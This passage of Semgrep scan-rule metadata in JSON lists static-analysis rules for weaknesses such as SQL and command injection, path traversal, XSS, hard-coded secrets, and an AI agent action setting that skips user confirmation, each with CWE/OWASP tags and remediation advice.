[https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf)\n","text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","id":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","name":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-LLM08:2023 - Excessive Agency","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"help":{"markdown":"This rule has been deprecated. Please remove it from your policies and rulepacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","id":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","name":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"help":{"markdown":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect)\n - [https://flask-login.readthedocs.io/en/latest/#login-example](https://flask-login.readthedocs.io/en/latest/#login-example)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1)\n - [https://docs.python.org/3/library/urllib.parse.html#url-parsing](https://docs.python.org/3/library/urllib.parse.html#url-parsing)\n","text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect","id":"python.flask.security.open-redirect.open-redirect","name":"python.flask.security.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"help":{"markdown":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc","id":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","name":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.reflect-makefunc.reflect-makefunc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"help":{"markdown":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n","text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","id":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","name":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","id":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","name":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password","id":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","name":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-empty-password.python-mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"help":{"markdown":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","id":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","name":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg","id":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","name":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-msg.file-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","id":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","name":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"help":{"markdown":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n","text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"helpUri":"https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","id":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","name":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Rather than adding one element at a time, consider batch loading to improve performance."},"help":{"markdown":"Rather than adding one element at a time, consider batch loading to improve performance.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import)\n","text":"Rather than adding one element at a time, consider batch loading to improve performance."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import","id":"python.sqlalchemy.performance.performance-improvements.batch-import","name":"python.sqlalchemy.performance.performance-improvements.batch-import","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.batch-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"help":{"markdown":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug)\n - [https://docs.scala-lang.org/overviews/compiler-options/index.html](https://docs.scala-lang.org/overviews/compiler-options/index.html)\n","text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug","id":"scala.lang.security.audit.scalac-debug.scalac-debug","name":"scala.lang.security.audit.scalac-debug.scalac-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalac-debug.scalac-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/www-community/attacks/XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"help":{"markdown":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure)\n - 